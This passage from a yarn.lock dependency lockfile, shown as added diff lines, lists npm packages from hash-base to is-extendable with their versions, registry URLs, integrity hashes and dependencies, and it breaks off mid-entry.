"https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33" + integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA== + dependencies: + inherits "^2.0.4" + readable-stream "^3.6.0" + safe-buffer "^5.2.0" + +hash.js@^1.0.0, hash.js@^1.0.3: + version "1.1.7" + resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42" + integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA== + dependencies: + inherits "^2.0.3" + minimalistic-assert "^1.0.1" + +he@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f" + integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== + +hex-color-regex@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/hex-color-regex/-/hex-color-regex-1.1.0.tgz#4c06fccb4602fe2602b3c93df82d7e7dbf1a8a8e" + integrity sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ== + +hmac-drbg@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1" + integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE= + dependencies: + hash.js "^1.0.3" + minimalistic-assert "^1.0.0" + minimalistic-crypto-utils "^1.0.1" + +hoopy@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/hoopy/-/hoopy-0.1.4.tgz#609207d661100033a9a9402ad3dea677381c1b1d" + integrity sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ== + +hosted-git-info@^2.1.4: + version "2.8.8" + resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.8.tgz#7539bd4bc1e0e0a895815a2e0262420b12858488" + integrity sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg== + +hpack.js@^2.1.6: + version "2.1.6" + resolved "https://registry.yarnpkg.com/hpack.js/-/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2" + integrity sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI= + dependencies: + inherits "^2.0.1" + obuf "^1.0.0" + readable-stream "^2.0.1" + wbuf "^1.1.0" + +hsl-regex@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/hsl-regex/-/hsl-regex-1.0.0.tgz#d49330c789ed819e276a4c0d272dffa30b18fe6e" + integrity sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4= + +hsla-regex@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/hsla-regex/-/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38" + integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg= + +html-comment-regex@^1.1.0: + version "1.1.2" + resolved "https://registry.yarnpkg.com/html-comment-regex/-/html-comment-regex-1.1.2.tgz#97d4688aeb5c81886a364faa0cad1dda14d433a7" + integrity sha512-P+M65QY2JQ5Y0G9KKdlDpo0zK+/OHptU5AaBwUfAIDJZk1MYf32Frm84EcOytfJE0t5JvkAnKlmjsXDnWzCJmQ== + +html-encoding-sniffer@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz#42a6dc4fd33f00281176e8b23759ca4e4fa185f3" + integrity sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ== + dependencies: + whatwg-encoding "^1.0.5" + +html-entities@^1.2.1, html-entities@^1.3.1: + version "1.4.0" + resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc" + integrity sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA== + +html-escaper@^2.0.0: + version "2.0.2" + resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453" + integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg== + +html-minifier-terser@^5.0.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz#922e96f1f3bb60832c2634b79884096389b1f054" + integrity sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg== + dependencies: + camel-case "^4.1.1" + clean-css "^4.2.3" + commander "^4.1.1" + he "^1.2.0" + param-case "^3.0.3" + relateurl "^0.2.7" + terser "^4.6.3" + +html-tags@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/html-tags/-/html-tags-3.1.0.tgz#7b5e6f7e665e9fb41f30007ed9e0d41e97fb2140" + integrity sha512-1qYz89hW3lFDEazhjW0yVAV87lw8lVkrJocr72XmBkMKsoSVJCQx3W8BXsC7hO2qAt8BoVjYjtAcZ9perqGnNg== + +html-webpack-plugin@4.5.0: + version "4.5.0" + resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-4.5.0.tgz#625097650886b97ea5dae331c320e3238f6c121c" + integrity sha512-MouoXEYSjTzCrjIxWwg8gxL5fE2X2WZJLmBYXlaJhQUH5K/b5OrqmV7T4dB7iu0xkmJ6JlUuV6fFVtnqbPopZw== + dependencies: + "@types/html-minifier-terser" "^5.0.0" + "@types/tapable" "^1.0.5" + "@types/webpack" "^4.41.8" + html-minifier-terser "^5.0.1" + loader-utils "^1.2.3" + lodash "^4.17.15" + pretty-error "^2.1.1" + tapable "^1.1.3" + util.promisify "1.0.0" + +htmlparser2@^3.10.1: + version "3.10.1" + resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f" + integrity sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ== + dependencies: + domelementtype "^1.3.1" + domhandler "^2.3.0" + domutils "^1.5.1" + entities "^1.1.1" + inherits "^2.0.1" + readable-stream "^3.1.1" + +http-deceiver@^1.2.7: + version "1.2.7" + resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87" + integrity sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc= + +http-errors@1.7.2: + version "1.7.2" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f" + integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg== + dependencies: + depd "~1.1.2" + inherits "2.0.3" + setprototypeof "1.1.1" + statuses ">= 1.5.0 < 2" + toidentifier "1.0.0" + +http-errors@~1.6.2: + version "1.6.3" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d" + integrity sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0= + dependencies: + depd "~1.1.2" + inherits "2.0.3" + setprototypeof "1.1.0" + statuses ">= 1.4.0 < 2" + +http-errors@~1.7.2: + version "1.7.3" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06" + integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw== + dependencies: + depd "~1.1.2" + inherits "2.0.4" + setprototypeof "1.1.1" + statuses ">= 1.5.0 < 2" + toidentifier "1.0.0" + +http-parser-js@>=0.5.1: + version "0.5.3" + resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.3.tgz#01d2709c79d41698bb01d4decc5e9da4e4a033d9" + integrity sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg== + +http-proxy-middleware@0.19.1: + version "0.19.1" + resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz#183c7dc4aa1479150306498c210cdaf96080a43a" + integrity sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q== + dependencies: + http-proxy "^1.17.0" + is-glob "^4.0.0" + lodash "^4.17.11" + micromatch "^3.1.10" + +http-proxy@^1.17.0: + version "1.18.1" + resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549" + integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ== + dependencies: + eventemitter3 "^4.0.0" + follow-redirects "^1.0.0" + requires-port "^1.0.0" + +http-signature@~1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1" + integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE= + dependencies: + assert-plus "^1.0.0" + jsprim "^1.2.2" + sshpk "^1.7.0" + +https-browserify@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73" + integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM= + +human-signals@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-1.1.1.tgz#c5b1cd14f50aeae09ab6c59fe63ba3395fe4dfa3" + integrity sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw== + +iconv-lite@0.4.24: + version "0.4.24" + resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b" + integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA== + dependencies: + safer-buffer ">= 2.1.2 < 3" + +icss-utils@^4.0.0, icss-utils@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467" + integrity sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA== + dependencies: + postcss "^7.0.14" + +identity-obj-proxy@3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14" + integrity sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ= + dependencies: + harmony-reflect "^1.4.6" + +ieee754@^1.1.4: + version "1.2.1" + resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352" + integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA== + +iferr@^0.1.5: + version "0.1.5" + resolved "https://registry.yarnpkg.com/iferr/-/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501" + integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE= + +ignore@^4.0.6: + version "4.0.6" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc" + integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg== + +ignore@^5.1.4: + version "5.1.8" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.1.8.tgz#f150a8b50a34289b33e22f5889abd4d8016f0e57" + integrity sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw== + +immer@8.0.1: + version "8.0.1" + resolved "https://registry.yarnpkg.com/immer/-/immer-8.0.1.tgz#9c73db683e2b3975c424fb0572af5889877ae656" + integrity sha512-aqXhGP7//Gui2+UrEtvxZxSquQVXTpZ7KDxfCcKAF3Vysvw0CViVaW9RZ1j1xlIYqaaaipBoqdqeibkc18PNvA== + +import-cwd@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/import-cwd/-/import-cwd-2.1.0.tgz#aa6cf36e722761285cb371ec6519f53e2435b0a9" + integrity sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk= + dependencies: + import-from "^2.1.0" + +import-fresh@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546" + integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY= + dependencies: + caller-path "^2.0.0" + resolve-from "^3.0.0" + +import-fresh@^3.0.0, import-fresh@^3.1.0, import-fresh@^3.2.1: + version "3.3.0" + resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b" + integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw== + dependencies: + parent-module "^1.0.0" + resolve-from "^4.0.0" + +import-from@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/import-from/-/import-from-2.1.0.tgz#335db7f2a7affd53aaa471d4b8021dee36b7f3b1" + integrity sha1-M1238qev/VOqpHHUuAId7ja387E= + dependencies: + resolve-from "^3.0.0" + +import-local@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/import-local/-/import-local-2.0.0.tgz#55070be38a5993cf18ef6db7e961f5bee5c5a09d" + integrity sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ== + dependencies: + pkg-dir "^3.0.0" + resolve-cwd "^2.0.0" + +import-local@^3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.0.2.tgz#a8cfd0431d1de4a2199703d003e3e62364fa6db6" + integrity sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA== + dependencies: + pkg-dir "^4.2.0" + resolve-cwd "^3.0.0" + +imurmurhash@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea" + integrity sha1-khi5srkoojixPcT7a21XbyMUU+o= + +indent-string@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251" + integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg== + +indexes-of@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/indexes-of/-/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607" + integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc= + +infer-owner@^1.0.3, infer-owner@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467" + integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A== + +inflight@^1.0.4: + version "1.0.6" + resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" + integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk= + dependencies: + once "^1.3.0" + wrappy "1" + +inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +inherits@2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1" + integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE= + +inherits@2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" + integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4= + +ini@^1.3.5: + version "1.3.8" + resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c" + integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew== + +internal-ip@^4.3.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/internal-ip/-/internal-ip-4.3.0.tgz#845452baad9d2ca3b69c635a137acb9a0dad0907" + integrity sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg== + dependencies: + default-gateway "^4.2.0" + ipaddr.js "^1.9.0" + +internal-slot@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.3.tgz#7347e307deeea2faac2ac6205d4bc7d34967f59c" + integrity sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA== + dependencies: + get-intrinsic "^1.1.0" + has "^1.0.3" + side-channel "^1.0.4" + +ip-regex@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9" + integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk= + +ip@^1.1.0, ip@^1.1.5: + version "1.1.5" + resolved "https://registry.yarnpkg.com/ip/-/ip-1.1.5.tgz#bdded70114290828c0a039e72ef25f5aaec4354a" + integrity sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo= + +ipaddr.js@1.9.1, ipaddr.js@^1.9.0: + version "1.9.1" + resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3" + integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g== + +is-absolute-url@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6" + integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY= + +is-absolute-url@^3.0.3: + version "3.0.3" + resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698" + integrity sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q== + +is-accessor-descriptor@^0.1.6: + version "0.1.6" + resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6" + integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY= + dependencies: + kind-of "^3.0.2" + +is-accessor-descriptor@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656" + integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ== + dependencies: + kind-of "^6.0.0" + +is-arguments@^1.0.4: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-arguments/-/is-arguments-1.1.0.tgz#62353031dfbee07ceb34656a6bde59efecae8dd9" + integrity sha512-1Ij4lOMPl/xB5kBDn7I+b2ttPMKa8szhEIrXDuXQD/oe3HJLTLhqhgGspwgyGd6MOywBUqVvYicF72lkgDnIHg== + dependencies: + call-bind "^1.0.0" + +is-arrayish@^0.2.1: + version "0.2.1" + resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d" + integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0= + +is-arrayish@^0.3.1: + version "0.3.2" + resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.3.2.tgz#4574a2ae56f7ab206896fb431eaeed066fdf8f03" + integrity sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ== + +is-binary-path@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898" + integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg= + dependencies: + binary-extensions "^1.0.0" + +is-binary-path@~2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09" + integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== + dependencies: + binary-extensions "^2.0.0" + +is-buffer@^1.1.5: + version "1.1.6" + resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be" + integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w== + +is-callable@^1.1.4, is-callable@^1.2.2: + version "1.2.3" + resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.3.tgz#8b1e0500b73a1d76c70487636f368e519de8db8e" + integrity sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ== + +is-ci@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c" + integrity sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w== + dependencies: + ci-info "^2.0.0" + +is-color-stop@^1.0.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-color-stop/-/is-color-stop-1.1.0.tgz#cfff471aee4dd5c9e158598fbe12967b5cdad345" + integrity sha1-z/9HGu5N1cnhWFmPvhKWe1za00U= + dependencies: + css-color-names "^0.0.4" + hex-color-regex "^1.1.0" + hsl-regex "^1.0.0" + hsla-regex "^1.0.0" + rgb-regex "^1.0.1" + rgba-regex "^1.0.0" + +is-core-module@^2.0.0, is-core-module@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.2.0.tgz#97037ef3d52224d85163f5597b2b63d9afed981a" + integrity sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ== + dependencies: + has "^1.0.3" + +is-data-descriptor@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56" + integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y= + dependencies: + kind-of "^3.0.2" + +is-data-descriptor@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7" + integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ== + dependencies: + kind-of "^6.0.0" + +is-date-object@^1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz#bda736f2cd8fd06d32844e7743bfa7494c3bfd7e" + integrity sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g== + +is-descriptor@^0.1.0: + version "0.1.6" + resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca" + integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg== + dependencies: + is-accessor-descriptor "^0.1.6" + is-data-descriptor "^0.1.4" + kind-of "^5.0.0" + +is-descriptor@^1.0.0, is-descriptor@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec" + integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg== + dependencies: + is-accessor-descriptor "^1.0.0" + is-data-descriptor "^1.0.0" + kind-of "^6.0.2" + +is-directory@^0.3.1: + version "0.3.1" + resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1" + integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE= + +is-docker@^2.0.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.1.1.tgz#4125a88e44e450d384e09047ede71adc2d144156" + integrity sha512-ZOoqiXfEwtGknTiuDEy8pN2CfE3TxMHprvNer1mXiqwkOT77Rw3YVrUQ52EqAOU3QAWDQ+bQdx7HJzrv7LS2Hw== + +is-dotfile@^1.0.0: + version "1.0.3" + resolved "https://registry.yarnpkg.com/is-dotfile/-/is-dotfile-1.0.3.tgz#a6a2f32ffd2dfb04f5ca25ecd0f6b83cf798a1e1" + integrity sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE= + +is-extendable@^0.1.0, is-extendable@^0.1.1: + version "0.1.1" + resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89" + integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik= + +is-extendable@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4" + integrity 